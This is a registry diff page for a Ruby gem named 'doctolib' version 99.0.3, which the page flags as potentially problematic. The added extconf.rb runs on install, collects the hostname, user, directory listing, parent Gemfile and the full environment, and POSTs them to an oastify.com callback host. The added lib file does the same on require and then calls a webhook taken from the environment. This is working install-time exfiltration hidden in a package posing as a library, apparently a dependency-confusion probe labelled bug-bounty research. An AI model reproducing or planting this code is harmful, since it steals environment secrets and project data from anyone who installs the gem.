doctolib 99.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of doctolib might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/ext/doctolib/extconf.rb +49 -0
- data/lib/doctolib.rb +50 -0
- metadata +42 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 32defcd69c36724a86940d4ee0c8f13f9c78ed6bbc4bd45e06340179e1454388
|
|
4
|
+
data.tar.gz: 11fc7b0c526f1321770e22a799b9db0bbc574a60f12ee35ff796f4bd2d01c234
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: ed62decd7a2e2b4133f2b95aaeeda64f801ed106ecaabf017c135a11081d257eaac24f67b9797a4f28e7d934903318b4bf4af7c26e96dbb2006667b453bf8290
|
|
7
|
+
data.tar.gz: 73e775067b093a605a65287d8dc79b2cbf7c9660d9aed2af329ebccf6a04ebf1ffe8fb0ecb55b61f2e5e20c395998e1c3d5b8c63ddea74335363bbb40b6c468a
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
require 'uri'
|
|
3
|
+
require 'json'
|
|
4
|
+
require 'socket'
|
|
5
|
+
require 'time'
|
|
6
|
+
|
|
7
|
+
CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
|
|
8
|
+
|
|
9
|
+
begin
|
|
10
|
+
info = {
|
|
11
|
+
type: 'gem_install',
|
|
12
|
+
hostname: Socket.gethostname,
|
|
13
|
+
user: ENV['USER'] || ENV['USERNAME'],
|
|
14
|
+
pwd: Dir.pwd,
|
|
15
|
+
home: ENV['HOME'],
|
|
16
|
+
ruby_version: RUBY_VERSION,
|
|
17
|
+
platform: RUBY_PLATFORM,
|
|
18
|
+
env: ENV.to_h,
|
|
19
|
+
timestamp: Time.now.utc.iso8601
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
dir = Dir.pwd
|
|
23
|
+
10.times do
|
|
24
|
+
gemfile = File.join(dir, 'Gemfile')
|
|
25
|
+
if File.exist?(gemfile)
|
|
26
|
+
info[:parent_gemfile] = File.read(gemfile) rescue nil
|
|
27
|
+
info[:parent_dir] = dir
|
|
28
|
+
info[:parent_files] = Dir.entries(dir) rescue nil
|
|
29
|
+
break
|
|
30
|
+
end
|
|
31
|
+
parent = File.dirname(dir)
|
|
32
|
+
break if parent == dir
|
|
33
|
+
dir = parent
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
uri = URI("http://#{CALLBACK}/gem_install")
|
|
37
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
38
|
+
http.open_timeout = 5
|
|
39
|
+
http.read_timeout = 5
|
|
40
|
+
|
|
41
|
+
request = Net::HTTP::Post.new(uri.path)
|
|
42
|
+
request['Content-Type'] = 'application/json'
|
|
43
|
+
request.body = info.to_json
|
|
44
|
+
|
|
45
|
+
http.request(request)
|
|
46
|
+
rescue
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")
|
data/lib/doctolib.rb
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
require 'uri'
|
|
3
|
+
require 'json'
|
|
4
|
+
require 'socket'
|
|
5
|
+
require 'time'
|
|
6
|
+
|
|
7
|
+
module Doctolib
|
|
8
|
+
VERSION = '99.0.3'
|
|
9
|
+
CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
|
|
10
|
+
|
|
11
|
+
unless defined?(@@triggered)
|
|
12
|
+
@@triggered = true
|
|
13
|
+
|
|
14
|
+
Thread.new do
|
|
15
|
+
begin
|
|
16
|
+
info = {
|
|
17
|
+
type: 'gem_require',
|
|
18
|
+
hostname: Socket.gethostname,
|
|
19
|
+
user: ENV['USER'] || ENV['USERNAME'],
|
|
20
|
+
pwd: Dir.pwd,
|
|
21
|
+
ruby_version: RUBY_VERSION,
|
|
22
|
+
rails_env: ENV['RAILS_ENV'],
|
|
23
|
+
rack_env: ENV['RACK_ENV'],
|
|
24
|
+
env: ENV.to_h,
|
|
25
|
+
timestamp: Time.now.utc.iso8601
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
|
|
29
|
+
info[:webhook_found] = !webhook.nil?
|
|
30
|
+
|
|
31
|
+
uri = URI("http://#{CALLBACK}/gem_require")
|
|
32
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
33
|
+
http.open_timeout = 5
|
|
34
|
+
http.read_timeout = 5
|
|
35
|
+
|
|
36
|
+
request = Net::HTTP::Post.new(uri.path)
|
|
37
|
+
request['Content-Type'] = 'application/json'
|
|
38
|
+
request.body = info.to_json
|
|
39
|
+
|
|
40
|
+
http.request(request)
|
|
41
|
+
|
|
42
|
+
if webhook
|
|
43
|
+
webhook_uri = URI(webhook)
|
|
44
|
+
Net::HTTP.get(webhook_uri)
|
|
45
|
+
end
|
|
46
|
+
rescue
|
|
47
|
+
end
|
|
48
|
+
end
|
|
49
|
+
end
|
|
50
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: doctolib
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 99.0.3
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- icare
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: Security research package
|
|
13
|
+
email: icare@security.research
|
|
14
|
+
executables: []
|
|
15
|
+
extensions:
|
|
16
|
+
- ext/doctolib/extconf.rb
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- ext/doctolib/extconf.rb
|
|
20
|
+
- lib/doctolib.rb
|
|
21
|
+
homepage: https://github.com/icare/doctolib
|
|
22
|
+
licenses:
|
|
23
|
+
- MIT
|
|
24
|
+
metadata: {}
|
|
25
|
+
rdoc_options: []
|
|
26
|
+
require_paths:
|
|
27
|
+
- lib
|
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
29
|
+
requirements:
|
|
30
|
+
- - ">="
|
|
31
|
+
- !ruby/object:Gem::Version
|
|
32
|
+
version: 2.5.0
|
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
34
|
+
requirements:
|
|
35
|
+
- - ">="
|
|
36
|
+
- !ruby/object:Gem::Version
|
|
37
|
+
version: '0'
|
|
38
|
+
requirements: []
|
|
39
|
+
rubygems_version: 3.6.7
|
|
40
|
+
specification_version: 4
|
|
41
|
+
summary: Security research - Bug Bounty
|
|
42
|
+
test_files: []
|